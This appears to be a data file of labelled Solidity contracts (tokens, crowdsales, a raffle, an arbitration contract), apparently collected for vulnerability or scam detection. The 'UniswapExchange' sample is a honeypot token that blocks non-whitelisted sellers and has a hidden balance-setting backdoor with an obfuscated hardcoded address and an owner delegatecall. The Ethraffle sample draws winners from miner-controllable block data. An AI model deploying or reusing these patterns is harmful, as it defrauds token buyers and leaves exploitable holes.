} else if (_ruling == uint256(Party.Translator)) {
amount = task.requesterDeposit + task.sumDeposit;
task.parties[uint256(Party.Translator)].send(amount);
} else {
task.requester.send(task.requesterDeposit);
task.parties[uint256(Party.Challenger)].send(task.sumDeposit);
}
task.requesterDeposit = 0;
task.sumDeposit = 0;
emit TaskResolved(taskID, "dispute-settled", block.timestamp);
}
function submitEvidence(uint256 _taskID, string calldata _evidence) external {
Task storage task = tasks[_taskID];
require(task.status != Status.Resolved, "The task must not already be resolved.");
emit Evidence(arbitrator, _taskID, msg.sender, _evidence);
}
function amountWithdrawable(uint256 _taskID, address payable _beneficiary) external view returns (uint256 total) {
Task storage task = tasks[_taskID];
if (task.status != Status.Resolved) return total;
for (uint256 i = 0; i < task.rounds.length; i++) {
Round storage round = task.rounds[i];
if (!round.hasPaid[uint256(Party.Translator)] || !round.hasPaid[uint256(Party.Challenger)]) {
total +=
round.contributions[_beneficiary][uint256(Party.Translator)] +
round.contributions[_beneficiary][uint256(Party.Challenger)];
} else if (task.ruling == uint256(Party.None)) {
uint256 rewardTranslator = round.paidFees[uint256(Party.Translator)] > 0
? (round.contributions[_beneficiary][uint256(Party.Translator)] * round.feeRewards) /
(round.paidFees[uint256(Party.Translator)] + round.paidFees[uint256(Party.Challenger)])
: 0;
uint256 rewardChallenger = round.paidFees[uint256(Party.Challenger)] > 0
? (round.contributions[_beneficiary][uint256(Party.Challenger)] * round.feeRewards) /
(round.paidFees[uint256(Party.Translator)] + round.paidFees[uint256(Party.Challenger)])
: 0;
total += rewardTranslator + rewardChallenger;
} else {
total += round.paidFees[uint256(task.ruling)] > 0
? (round.contributions[_beneficiary][uint256(task.ruling)] * round.feeRewards) /
round.paidFees[uint256(task.ruling)]
: 0;
}
}
return total;
}
function getDepositValue(uint256 _taskID) public view returns (uint256 deposit) {
Task storage task = tasks[_taskID];
if (block.timestamp - task.lastInteraction > task.submissionTimeout || task.status != Status.Created) {
deposit = NOT_PAYABLE_VALUE;
} else {
uint256 price = task.minPrice +
((task.maxPrice - task.minPrice) * (block.timestamp - task.lastInteraction)) /
task.submissionTimeout;
uint256 arbitrationCost = arbitrator.arbitrationCost(arbitratorExtraData);
deposit = arbitrationCost.addCap((translationMultiplier.mulCap(price)) / MULTIPLIER_DIVISOR);
}
}
function getChallengeValue(uint256 _taskID) public view returns (uint256 deposit) {
Task storage task = tasks[_taskID];
if (block.timestamp - task.lastInteraction > reviewTimeout || task.status != Status.AwaitingReview) {
deposit = NOT_PAYABLE_VALUE;
} else {
uint256 arbitrationCost = arbitrator.arbitrationCost(arbitratorExtraData);
deposit = arbitrationCost.addCap((challengeMultiplier.mulCap(task.requesterDeposit)) / MULTIPLIER_DIVISOR);
}
}
function getTaskPrice(uint256 _taskID) public view returns (uint256 price) {
Task storage task = tasks[_taskID];
if (block.timestamp - task.lastInteraction > task.submissionTimeout || task.status != Status.Created) {
price = 0;
} else {
price =
task.minPrice +
((task.maxPrice - task.minPrice) * (block.timestamp - task.lastInteraction)) /
task.submissionTimeout;
}
}
function getTaskCount() public view returns (uint256) {
return tasks.length;
}
function getNumberOfRounds(uint256 _taskID) public view returns (uint256) {
Task storage task = tasks[_taskID];
return task.rounds.length;
}
function getContributions(
uint256 _taskID,
uint256 _round,
address _contributor
) public view returns (uint256[3] memory contributions) {
Task storage task = tasks[_taskID];
Round storage round = task.rounds[_round];
contributions = round.contributions[_contributor];
}
function getTaskParties(uint256 _taskID) public view returns (address payable[3] memory parties) {
Task storage task = tasks[_taskID];
parties = task.parties;
}
function getRoundInfo(uint256 _taskID, uint256 _round)
public
view
returns (
uint256[3] memory paidFees,
bool[3] memory hasPaid,
uint256 feeRewards
)
{
Task storage task = tasks[_taskID];
Round storage round = task.rounds[_round];
return (round.paidFees, round.hasPaid, round.feeRewards);
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol) {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
abstract contract ERC20Burnable is Context, ERC20 {
using SafeMath for uint256;
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
function burnFrom(address account, uint256 amount) public virtual {
uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance");
_approve(account, _msgSender(), decreasedAllowance);
_burn(account, amount);
}
}
contract ERC20Mock is ERC20, ERC20Burnable {
constructor(address initialAccount, uint256 initialBalance) ERC20("MockToken", "MCT") {
_mint(initialAccount, initialBalance);
}
} | 0 | 2,491 |
pragma solidity ^0.4.16;
interface token {
function transfer(address receiver, uint amount);
}
contract Crowdsale {
address public beneficiary;
uint public fundingGoal;
uint public amountRaised;
uint public deadline;
uint public price;
token public tokenReward;
mapping(address => uint256) public balanceOf;
bool fundingGoalReached = false;
bool crowdsaleClosed = false;
event GoalReached(address recipient, uint totalAmountRaised);
event FundTransfer(address backer, uint amount, bool isContribution);
function Crowdsale(
address ifSuccessfulSendTo,
uint fundingGoalInEthers,
uint durationInMinutes,
uint finneyCostOfEachToken,
address addressOfTokenUsedAsReward) {
beneficiary = ifSuccessfulSendTo;
fundingGoal = fundingGoalInEthers * 1 ether;
deadline = now + durationInMinutes * 1 minutes;
price = finneyCostOfEachToken * 1 szabo;
tokenReward = token(addressOfTokenUsedAsReward);
}
function () payable {
require(!crowdsaleClosed);
uint amount = msg.value;
balanceOf[msg.sender] += amount;
amountRaised += amount;
tokenReward.transfer(msg.sender, amount /price*1000000000000000);
FundTransfer(msg.sender, amount, true);
}
modifier afterDeadline() { if (now >= deadline) _; }
function checkGoalReached() afterDeadline {
if (amountRaised >= fundingGoal) {
fundingGoalReached = true;
GoalReached(beneficiary, amountRaised);
}
crowdsaleClosed = true;
}
function safeWithdrawal() afterDeadline {
if (!fundingGoalReached) {
uint amount = balanceOf[msg.sender];
balanceOf[msg.sender] = 0;
if (amount > 0) {
if (msg.sender.send(amount)) {
FundTransfer(msg.sender, amount, false);
} else {
balanceOf[msg.sender] = amount;
}
}
}
if (fundingGoalReached && beneficiary == msg.sender) {
if (beneficiary.send(amountRaised)) {
FundTransfer(beneficiary, amountRaised, false);
} else {
fundingGoalReached = false;
}
}
}
} | 1 | 5,173 |
pragma solidity ^0.4.16;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
contract BurnableToken is StandardToken {
function burn(uint _value) public {
require(_value > 0);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
event Burn(address indexed burner, uint indexed value);
}
contract VirCoinToken is BurnableToken {
string public constant name = "VR Games Coin Token";
string public constant symbol = "VIR";
uint32 public constant decimals = 18;
uint256 public INITIAL_SUPPLY = 800000 * 1 ether;
function VirCoinToken() public {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
}
contract Crowdsale is Ownable {
using SafeMath for uint;
address multisig;
uint restrictedPercent;
address restricted;
VirCoinToken public token = new VirCoinToken();
uint start;
uint period;
uint rate;
function Crowdsale() public {
multisig = 0x8317BD267d4F80105a4e634D85145eE37d24c7a9;
restricted = 0x862631C23626959b080e6F0A7972BA5e53ae0a88;
restrictedPercent = 10;
rate = 1000000000000000000000;
start = 1518566400;
period = 100;
}
function bytesToAddress(bytes source) internal pure returns(address) {
uint result;
uint mul = 1;
for(uint i = 20; i > 0; i--) {
result += uint8(source[i-1]) * mul;
mul = mul * 256;
}
return address(result);
}
modifier saleIsOn() {
require(now > start && now < start + period * 1 days);
_;
}
function createTokens() public saleIsOn payable {
multisig.transfer(msg.value);
uint tokens = rate.mul(msg.value).div(1 ether);
uint bonusTokens = 0;
if(now < start + (14 * 1 days)) {
bonusTokens = tokens.mul(15).div(100);
} else if(now >= start + (14 * 1 days) && now < start + (period * 1 days).div(3).mul(2)) {
bonusTokens = tokens.div(10);
} else if(now >= start + (period * 1 days).div(3).mul(2) && now < start + (period * 1 days).div(3).mul(3)) {
bonusTokens = tokens.div(20);
}
uint tokensWithBonus = tokens.add(bonusTokens);
token.transfer(msg.sender, tokensWithBonus);
uint restrictedTokens = tokens.mul(restrictedPercent).div(100 - restrictedPercent);
token.transfer(restricted, restrictedTokens);
if(msg.data.length == 20) {
address referer = bytesToAddress(bytes(msg.data));
require(referer != msg.sender);
uint refererTokens = tokens.mul(10).div(100);
token.transfer(referer, refererTokens);
}
}
function() external payable {
createTokens();
}
} | 1 | 3,854 |
pragma solidity ^0.4.16;
contract Ethraffle {
struct Contestant {
address addr;
uint raffleId;
}
event RaffleResult(
uint indexed raffleId,
uint winningNumber,
address winningAddress,
address seed1,
address seed2,
uint seed3,
bytes32 randHash
);
event TicketPurchase(
uint indexed raffleId,
address contestant,
uint number
);
event TicketRefund(
uint indexed raffleId,
address contestant,
uint number
);
uint public constant prize = 0.01 ether;
uint public constant fee = 0.01 ether;
uint public constant totalTickets = 6;
uint public constant pricePerTicket = (prize + fee) / totalTickets;
address feeAddress;
bool public paused = false;
uint public raffleId = 1;
uint nextTicket = 0;
mapping (uint => Contestant) contestants;
uint[] gaps;
function Ethraffle() public {
feeAddress = msg.sender;
}
function () payable public {
buyTickets();
}
function buyTickets() payable public {
if (paused) {
msg.sender.transfer(msg.value);
return;
}
uint moneySent = msg.value;
while (moneySent >= pricePerTicket && nextTicket < totalTickets) {
uint currTicket = 0;
if (gaps.length > 0) {
currTicket = gaps[gaps.length-1];
gaps.length--;
} else {
currTicket = nextTicket++;
}
contestants[currTicket] = Contestant(msg.sender, raffleId);
TicketPurchase(raffleId, msg.sender, currTicket);
moneySent -= pricePerTicket;
}
if (nextTicket == totalTickets) {
chooseWinner();
}
if (moneySent > 0) {
msg.sender.transfer(moneySent);
}
}
function chooseWinner() private {
address seed1 = contestants[uint(block.coinbase) % totalTickets].addr;
address seed2 = contestants[uint(msg.sender) % totalTickets].addr;
uint seed3 = block.difficulty;
bytes32 randHash = keccak256(seed1, seed2, seed3);
uint winningNumber = uint(randHash) % totalTickets;
address winningAddress = contestants[winningNumber].addr;
RaffleResult(raffleId, winningNumber, winningAddress, seed1, seed2, seed3, randHash);
raffleId++;
nextTicket = 0;
winningAddress.transfer(prize);
feeAddress.transfer(fee);
}
function getRefund() public {
uint refund = 0;
for (uint i = 0; i < totalTickets; i++) {
if (msg.sender == contestants[i].addr && raffleId == contestants[i].raffleId) {
refund += pricePerTicket;
contestants[i] = Contestant(address(0), 0);
gaps.push(i);
TicketRefund(raffleId, msg.sender, i);
}
}
if (refund > 0) {
msg.sender.transfer(refund);
}
}
function endRaffle() public {
if (msg.sender == feeAddress) {
paused = true;
for (uint i = 0; i < totalTickets; i++) {
if (raffleId == contestants[i].raffleId) {
TicketRefund(raffleId, contestants[i].addr, i);
contestants[i].addr.transfer(pricePerTicket);
}
}
RaffleResult(raffleId, totalTickets, address(0), address(0), address(0), 0, 0);
raffleId++;
nextTicket = 0;
gaps.length = 0;
}
}
function togglePause() public {
if (msg.sender == feeAddress) {
paused = !paused;
}
}
function kill() public {
if (msg.sender == feeAddress) {
selfdestruct(feeAddress);
}
}
} | 1 | 4,933 |
pragma solidity 0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract CappedToken is MintableToken {
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function mint(
address _to,
uint256 _amount
)
onlyOwner
canMint
public
returns (bool)
{
require(totalSupply_.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
contract GnomeInvasionToken is CappedToken, DetailedERC20 {
constructor(string _name, string _symbol, uint8 _decimals, uint256 _cap)
DetailedERC20(_name, _symbol, _decimals)
CappedToken(_cap)
public
{
}
} | 1 | 4,777 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,715 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
